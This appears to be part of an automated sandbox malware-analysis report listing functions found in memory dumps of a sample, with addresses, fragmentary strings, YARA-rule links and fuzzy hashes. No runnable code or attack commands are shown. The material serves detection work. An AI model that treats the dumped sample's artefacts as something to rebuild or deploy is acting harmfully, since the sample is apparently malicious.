Function 00F92132 Relevance: 2.8, Strings: 2, Instructions: 332COMMON

Download Yara Rule

Strings

hw, xrefs: 00F921D0
mo, xrefs: 00F9251A

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: hw$mo
API String ID: 0-3445322867
Opcode ID: baf5f684d580f0eca853645b4390ed019c1b6df073a2a1781375946658fd029b
Instruction ID: 1f0839ac059a6fe5217110a5297c3b82e90627e7c258c6fce39b5b3879b54a71
Opcode Fuzzy Hash: baf5f684d580f0eca853645b4390ed019c1b6df073a2a1781375946658fd029b
Instruction Fuzzy Hash: 8FB18EB5C042499FEF11CFD4C981AAEBFB1BF22300F548518E855AB346D3389A59DBA1

Function 00FA4E18 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

O|~u, xrefs: 00FA4E40
*xl, xrefs: 00FA50D3

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: *xl$O|~u
API String ID: 0-1848346505
Opcode ID: 577b6c837811fca73f77c809d84bd0fd117b5a8032c050e789af4569c2a2cebe
Instruction ID: fce38d967b78268f9ace5a9c2a16c46fe4787cda60aee4f84468558166cb9d72
Opcode Fuzzy Hash: 577b6c837811fca73f77c809d84bd0fd117b5a8032c050e789af4569c2a2cebe
Instruction Fuzzy Hash: 6DB168B0504B818FD7768F398490BA3BBE0BF17704F58885DD4EE8B682DB79A449DB50

Function 04293419 Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

O|~u, xrefs: 0429343E
*xl, xrefs: 042936D1

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: *xl$O|~u
API String ID: 0-1848346505
Opcode ID: 9ce5f33064239e9d0b23746e2cb943121978cbcfe7912a34b7558398e4f53d56
Instruction ID: ca599f15aa0616bba8ff4c5fb40d0361bc495c9d6f07a52f69d7b28cdb7a8167
Opcode Fuzzy Hash: 9ce5f33064239e9d0b23746e2cb943121978cbcfe7912a34b7558398e4f53d56
Instruction Fuzzy Hash: 57B16C70614B818ADB66CF3984507E3BBE1BF1A704F48889DD4EE8B282DB35B449CB54

Function 0429342B Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

O|~u, xrefs: 0429343E
*xl, xrefs: 042936D1

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: *xl$O|~u
API String ID: 0-1848346505
Opcode ID: d6bbdc734e26fc578f7c5232f2ddbd6878f316a199eaf3683d1c79d301f10399
Instruction ID: 0509ca2d18f60f99b9ee7ce2e5df6eb013563e26e7ae372221dc8feae9fb8485
Opcode Fuzzy Hash: d6bbdc734e26fc578f7c5232f2ddbd6878f316a199eaf3683d1c79d301f10399
Instruction Fuzzy Hash: DDB16B70614B818EDB66CF3980507E3BBE1BF1A704F58899DD4EE8B282DB35B449CB54

Function 00FA4E2D Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

O|~u, xrefs: 00FA4E40
*xl, xrefs: 00FA50D3

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: *xl$O|~u
API String ID: 0-1848346505
Opcode ID: 8c707bc0606129a9be82ba83c5981fb8ef20d3dfafd6b3b02c99a09640b18517
Instruction ID: c293bfbe5e20ffc77cc4f54a6a6438eab6547e3eced371aee46a751a01caeac9
Opcode Fuzzy Hash: 8c707bc0606129a9be82ba83c5981fb8ef20d3dfafd6b3b02c99a09640b18517
Instruction Fuzzy Hash: 31B169B0504B818ED7768F398490BE3BBE0BF17704F58885DD4EE8B682DB79A449DB50

Function 0426148C Relevance: 2.8, Strings: 2, Instructions: 293COMMON

Download Yara Rule

Strings

0123456789abcdefxp, xrefs: 04261499
0123456789ABCDEFXP, xrefs: 0426148C

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFXP$0123456789abcdefxp
API String ID: 0-595753566
Opcode ID: 32060ef713c748e70b97a095576bde7d96c2144f9949a75397e14f90ab4e3e05
Instruction ID: 80dad7892385b2338c7c5ce59a13b083a8511a1e3e88559f98e29419dfbdc997
Opcode Fuzzy Hash: 32060ef713c748e70b97a095576bde7d96c2144f9949a75397e14f90ab4e3e05
Instruction Fuzzy Hash: C7B17675A283529FD314CF18C09476BBBE1AFC8754F048A5DE89AA7380D374E984CB92

Function 00FA8372 Relevance: 2.7, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

E, xrefs: 00FA8505
0, xrefs: 00FA83EF

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 0$E
API String ID: 0-745826363
Opcode ID: 491512b9bf49031ff8b0e0ee3878af793a9b9e4730147123c8df0c99f1a7a5c7
Instruction ID: a26e89200c1de4bc5f8dbd0a524fd0ec040dc894c3f95de8c1f5a61af2299b09
Opcode Fuzzy Hash: 491512b9bf49031ff8b0e0ee3878af793a9b9e4730147123c8df0c99f1a7a5c7
Instruction Fuzzy Hash: CF8139B7D0D6904BC7149E3C5C40369AB925BA7370F2E8769ECF14B3D2C9698C07A3A1

Function 00F8F6C4 Relevance: 2.6, Strings: 2, Instructions: 105COMMON

Download Yara Rule

Strings

su, xrefs: 00F8F6FF
wy, xrefs: 00F8F707

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: su$wy
API String ID: 0-2149426075
Opcode ID: e0b3087a266308513e2c1973b75552fd3a3b16b62fb34fa8abc87596b31110b3
Instruction ID: 72ab16a79b6e8b893df89295637f2ba65fc9249e74469b573f1df2da82d9a1bb
Opcode Fuzzy Hash: e0b3087a266308513e2c1973b75552fd3a3b16b62fb34fa8abc87596b31110b3
Instruction Fuzzy Hash: BD3169755087408FE720AF14C892BABB7F1FF96361F14492DE4998B3A0E7388884DF16

Function 00F7E802 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

-, xrefs: 00F7ECEF

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 1f863eb2ff6711793898b350b22309a01fa23bc04fe1ee4fea35be905d93a58b
Instruction ID: 4861cfb987fab145365920b445f647694bb7e2b6ca21103ade0cc8ef5320efff
Opcode Fuzzy Hash: 1f863eb2ff6711793898b350b22309a01fa23bc04fe1ee4fea35be905d93a58b
Instruction Fuzzy Hash: A8F1C871B087418BC719CE29C4D026AFBE2AFC9314F18CA6FE4DA47395D6389C059B82

Function 00F75292 Relevance: 1.7, Strings: 1, Instructions: 426COMMON

Download Yara Rule

Strings

CD, xrefs: 00F752F0

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: CD
API String ID: 0-3115673787
Opcode ID: 7513a7b71c5002c0e3493962151757988e080445348aaf3abe39e484054647e1
Instruction ID: e1f26312c601b76aca047a26824058b04bd01a9a125c69753e3810b2d3396b1f
Opcode Fuzzy Hash: 7513a7b71c5002c0e3493962151757988e080445348aaf3abe39e484054647e1
Instruction Fuzzy Hash: D8D1DA72A087019BC714CF28C88065AB7E6EFC8B50F15C93EF89997390E7B5DD459B82

Function 004E9350 Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004E9420

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 90d7006d4c6cf24a8d7454651d94baa8d763a35c36ea1e0ff8addcd8d21a10a6
Instruction ID: 693a32bdc73ec14f975cb0f373cc06dd1841639652351d9b9174d8de6b4ca397
Opcode Fuzzy Hash: 90d7006d4c6cf24a8d7454651d94baa8d763a35c36ea1e0ff8addcd8d21a10a6
Instruction Fuzzy Hash: 9D416D323042458BC718DF2DC891A6AB7E5FFC8315F094A6EE88ADB380DA25E904C795

Function 00F7C402 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

,, xrefs: 00F7C575

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: f4a7c2959a34c341e157594150c5c80b93c7253cf355e1156a99306f2965c141
Instruction ID: 60bd1c5322f4ef0a5f90271eed53bc85eda309886fa58c849282801e5a429366
Opcode Fuzzy Hash: f4a7c2959a34c341e157594150c5c80b93c7253cf355e1156a99306f2965c141
Instruction Fuzzy Hash: 92B138716083819FD324CF18C89061BBBE0AFA9704F448E6EF5D997342D635E918CB97

Function 00FB63F2 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

KJML, xrefs: 00FB6435, 00FB643D

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: KJML
API String ID: 0-719402181
Opcode ID: 28655e3e7f9be6e82376f655a894ecd997754558b173f5cac5d37e2348f34771
Instruction ID: 0c4195a14fe0f2d9024d85807246fcf7a40af4d9d5e92761929c40cc1ec66d7f
Opcode Fuzzy Hash: 28655e3e7f9be6e82376f655a894ecd997754558b173f5cac5d37e2348f34771
Instruction Fuzzy Hash: 7E61E171A083019BD720DF1AC880B6ABBE6EFD5324F58892CE1D5C7295D739E811EF52

Function 00F858A8 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

3?, xrefs: 00F8618D

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 3?
API String ID: 0-64248562
Opcode ID: 216afabf2e036cd584f5b9ec2284bc62f354ba1ecdcf89f1d685b2b043a9444a
Instruction ID: 35c7da9b2700672356257f8cce4f95acebc2abb4334acd2ea876ff5b0cab3155
Opcode Fuzzy Hash: 216afabf2e036cd584f5b9ec2284bc62f354ba1ecdcf89f1d685b2b043a9444a
Instruction Fuzzy Hash: E851BBB19087509BC711EF28C8846AEFBF5AF9A710F14092DF886D3292E735D884DB56

Function 00FB9832 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00FB99D2

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 67481872423e7553c3972131f107d641b25f090f32ef50b4798840af9126cbf5
Instruction ID: ad6707537adf1421b2a095074decb3c76d85cc1602cb537ef6660c99edeb8898
Opcode Fuzzy Hash: 67481872423e7553c3972131f107d641b25f090f32ef50b4798840af9126cbf5
Instruction Fuzzy Hash: F2513631A0C2105BC714AF0ACC90B6EBBE6EF89721F58862CEAD567391C675EC00DB56

Function 00FB5272 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

KJML, xrefs: 00FB5335, 00FB533D

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: KJML
API String ID: 0-719402181
Opcode ID: e053a221720e99b885cf61182d43af949a5f5810dad6d23f829a476a97da3329
Instruction ID: 633ed9cc772713500491472a1c150767970b8336389aed9fe4ce5ab0d86bc869
Opcode Fuzzy Hash: e053a221720e99b885cf61182d43af949a5f5810dad6d23f829a476a97da3329
Instruction Fuzzy Hash: 4F51D470A087009BD724DF16D990B6EBBE6EF95B51F18882CE4C987251D339DC51EF22

Function 00F92403 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

mo, xrefs: 00F9251A

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: mo
API String ID: 0-3798016197
Opcode ID: 1a706055da4059a2d142706f09ae60a0cf2457f72b781340d3d8f7b74a5c800f
Instruction ID: 5b38273162828c29767964d94e5be956323cd1341d71d8186489e56a1095223d
Opcode Fuzzy Hash: 1a706055da4059a2d142706f09ae60a0cf2457f72b781340d3d8f7b74a5c800f
Instruction Fuzzy Hash: 8D41CCB5C00345DBEB20CF95C99166EBBB1BF26300F248118E885AB705D338AA69DB90

Function 00F9A692 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

MY, xrefs: 00F9A70F

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: MY
API String ID: 0-3819903325
Opcode ID: ddc1c3f5c4253c4e773caef55797cc4beb70848167fa36da81c5fe72699c8df8
Instruction ID: 6718d1dee9eba78f137b8750766548dd168ce21167c9ded3b16ae1035c21f7dc
Opcode Fuzzy Hash: ddc1c3f5c4253c4e773caef55797cc4beb70848167fa36da81c5fe72699c8df8
Instruction Fuzzy Hash: A75113B010C384ABE610EF15D884A1EFBF4AB96784F948D1CF1D45B261D33AD9099F97

Function 00FBB612 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

@, xrefs: 00FBB6D8

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c80f6e6309112be01baae830397eee8ff6c1bc59a6933d243f1b532a0348a623
Instruction ID: ac1bbe969a5438f2a98daaa2c699e7200efda53c4c66347f3bcecadcd6f72021
Opcode Fuzzy Hash: c80f6e6309112be01baae830397eee8ff6c1bc59a6933d243f1b532a0348a623
Instruction Fuzzy Hash: 7F41EEB29083009FD7109F59CC82B6AB7E5FF85314F25882DF585CB2A1E7B9C904DB52

Function 00FB12FC Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

KJML, xrefs: 00FB1346, 00FB134F

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: KJML
API String ID: 0-719402181
Opcode ID: f34bbef9172f07bf281af21219e5df09dfcd6bf3e6056f476278832e1a1f1e03
Instruction ID: b83719cdd28e1bf7fa92e38aea024ae9ffb3392d059a0c242c2d3f509884850c
Opcode Fuzzy Hash: f34bbef9172f07bf281af21219e5df09dfcd6bf3e6056f476278832e1a1f1e03
Instruction Fuzzy Hash: 5441E171A08301ABD310DF05D990A6FBBE1FF9A701F58882CF28597692E234D814DF2B

Function 00F86013 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

WC, xrefs: 00F86E16

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: WC
API String ID: 0-1542900038
Opcode ID: 2e7cfb21c3ab69dc17e842c65bf44e957609e3b851fda4bc1e6b21db119d390d
Instruction ID: e9f84ff5e2884df4e46fd0b749342200113f7efc29b2f9ab25e1e1580bac9bfe
Opcode Fuzzy Hash: 2e7cfb21c3ab69dc17e842c65bf44e957609e3b851fda4bc1e6b21db119d390d
Instruction Fuzzy Hash: 5D4188B19083409FCB12EF28C8807AFBBE4AF96700F04082DE595C7251E775D944DBAB

Function 042A3420 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

KJML, xrefs: 042A34A3, 042A34AB

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: KJML
API String ID: 0-719402181
Opcode ID: fd375d8f87270e0f46106340061727a98a70584785ee40b03dff5dbc0509210a
Instruction ID: 63ce23ceb125d26179729d6e02ebf174bbca97dec0b4aab717d75c76dae6cc42
Opcode Fuzzy Hash: fd375d8f87270e0f46106340061727a98a70584785ee40b03dff5dbc0509210a
Instruction Fuzzy Hash: 58315570618341ABD300DF59D584B2BFBE6EF89758F18C85DE8C88B201D336E815CBA6

Function 00FB4E22 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

KJML, xrefs: 00FB4EA5, 00FB4EAD

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: KJML
API String ID: 0-719402181
Opcode ID: bd27a1cad2291fdabd029e889754c4941bf3243c2de72268b9c82df296bce883
Instruction ID: 313c094d7f7b97545d345194c625748cb0f5852e4e839842be3f54f72b0360bc
Opcode Fuzzy Hash: bd27a1cad2291fdabd029e889754c4941bf3243c2de72268b9c82df296bce883
Instruction Fuzzy Hash: 04311774908340ABD300DF1AC684B6BFBE6EB95714F14C86CE5C89B252C776D805EF56

Function 00FBBED2 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

@, xrefs: 00FBBF22

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d803553e512cee0c4c0252390b4da797d7a5d5023f675424593cf2378d62bee2
Instruction ID: 91015e79dfc6009d6860e56b50497bbcb208763fb851eb69fb90046eec9a6752
Opcode Fuzzy Hash: d803553e512cee0c4c0252390b4da797d7a5d5023f675424593cf2378d62bee2
Instruction Fuzzy Hash: 94315670A093019BD314EF1AC880A6ABBF9FF9A325F54892CE5C897251D375D804DFA6

Function 00F9D0CE Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00F9D1A2

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: af3d34378ae1138f04461bc204abab660c3bb065544f82215e8d4549cdab9c72
Instruction ID: 474bd0aa4bfb5858dea33b64751db626b348c09656661fca94466930d6535955
Opcode Fuzzy Hash: af3d34378ae1138f04461bc204abab660c3bb065544f82215e8d4549cdab9c72
Instruction Fuzzy Hash: 5211A072D0120A9BEF10CF98C982ABFBB76EF56312F644020E541B7282D335D981EB65

Function 00F9FEC1 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00F9FF22

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 543bad763d033e8b6bf1f48556ee9feb59392631609b5416a11b21f69c4f208d
Instruction ID: 0f4864606c50e05874ff285a8c610065c3304f38f2314439fa854001a0aa3ade
Opcode Fuzzy Hash: 543bad763d033e8b6bf1f48556ee9feb59392631609b5416a11b21f69c4f208d
Instruction Fuzzy Hash: AA114831D012099BEF04CF94D9446AEBB72FF5A352F698061E811B7251C330ED06DB54

Function 0428E4C2 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0428E520

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 155136ee5242f1ae0fe9ec6466b2fad6e0af633f72562c5ebc670c1e66533a43
Instruction ID: 3f59fbeadc95b86c718751c9e34d02be52da8d7f2ee4f62b0dd4b0a50b964eaa
Opcode Fuzzy Hash: 155136ee5242f1ae0fe9ec6466b2fad6e0af633f72562c5ebc670c1e66533a43
Instruction Fuzzy Hash: 48113A31E22109DBDB14DE99E4446BEBB71FF0A355F2A8454D811B7250E334FD11CB91

Function 00F9D134 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00F9D1A2

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: c6146b2f5ffc72de5fb8497d4c9eb9ac4bc7b9360fd765abe4171196b021ed90
Instruction ID: 7ff96baa2c752c9939ab1a3233811caaaed00f626395ae54bffd9705627bb44d
Opcode Fuzzy Hash: c6146b2f5ffc72de5fb8497d4c9eb9ac4bc7b9360fd765abe4171196b021ed90
Instruction Fuzzy Hash: 73117C72D0124A8BEF10CF98C9916BEBFB1EF16312F240021D541B7281D335DA81DBA5

Function 00F84DDD Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

Hhl&, xrefs: 00F84E36, 00F84E3F

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: Hhl&
API String ID: 0-577082368
Opcode ID: 39d214979c04238b4578a11374ae9b62439bf719597c92ab728e8965efd2af44
Instruction ID: a73d698cdec2364995839cfbcfd505c17308fe9aae16aa68987f53fdb136e7fd
Opcode Fuzzy Hash: 39d214979c04238b4578a11374ae9b62439bf719597c92ab728e8965efd2af44
Instruction Fuzzy Hash: EA115730508341ABD340EF60D894AAEBBE5BF82750F906D1CF4D8972A2C739E5449B97

Function 00F925AE Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

mo, xrefs: 00F9251A

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: mo
API String ID: 0-3798016197
Opcode ID: 28b9ea1cc7d36f32c6a4c89159aa37b9cb68e101e930ba648010fbe515dfdb78
Instruction ID: 2c0d64008ea24f8a4b088f915070c5448bc8d78bed839f4580ad0c15a68e8132
Opcode Fuzzy Hash: 28b9ea1cc7d36f32c6a4c89159aa37b9cb68e101e930ba648010fbe515dfdb78
Instruction Fuzzy Hash: 0711A971804704AFDB21DF86C952B6EBBB1FF12340F20882CE496AA655D339EA18DF54

Function 00F8600C Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

WC, xrefs: 00F86E16

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: WC
API String ID: 0-1542900038
Opcode ID: b48b4602c0c803592c9001ea93e2873d4924eb52d3f1383cd6255a265e33c9ff
Instruction ID: 26715eb641d9c651a14c92c7e9d56ebab798908dc6af5de5e6abc397b8ac7ac3
Opcode Fuzzy Hash: b48b4602c0c803592c9001ea93e2873d4924eb52d3f1383cd6255a265e33c9ff
Instruction Fuzzy Hash: 9901167150D342AED300EF28D95476EFAF4AF82745F04881DF59887251D33AC954EB56

Function 004133B0 Relevance: .9, Instructions: 896COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
